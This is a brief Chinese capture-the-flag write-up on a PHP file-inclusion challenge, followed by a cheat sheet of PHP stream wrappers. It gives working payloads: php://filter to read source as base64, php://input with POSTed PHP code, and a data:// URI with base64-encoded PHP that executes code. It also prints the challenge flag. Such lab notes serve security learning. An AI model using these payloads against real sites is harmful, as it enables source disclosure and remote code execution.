打开靶机,出现了一个tips点进去一看,发现文件包含漏洞
于是我们就用php://filter伪协议
构造pyload:php://filter/convert.base64-encode/resource=文件名
然后就出来了flag,base64编码 解码一下就可以了
解码得到flag{4d3993b9-2f46-4889-b20f-7f6aea1a7ff4}
php伪协议ctf中常见的漏洞
file://【文件绝对路径、相对路径、网络路径】
作用:用于访问文件
php://
作用:访问输入输出流
实例:http://127.0.0.1?file=php://filter/read=convert.base64-encode/resource=文件名
参数:
resource=<要过滤的数据流>参数必须 指定了你要筛选的要过滤的数据流
read=<读链的筛选列表>该参数可选。可以设定一个或多个过滤器,以管道符|分隔
write=<写链的筛选列表>该参数可选。可以设定一个或多个过滤器,以管道符|分隔
<;两个链的筛选列表>任何没有以read=或write=作前缀的筛选器列表会视情况应用于读或写链
php://input
作用:执行数据中的php代码
实例:http://127.0.0.1?file=php://input
post:<?php phpinfo()?>
注意:enctype="multipart/form-data"的时候php://input是无效的
data://
作用:自php>=5.5.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行php代码。一般需要用到base64编码传输
实例:http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b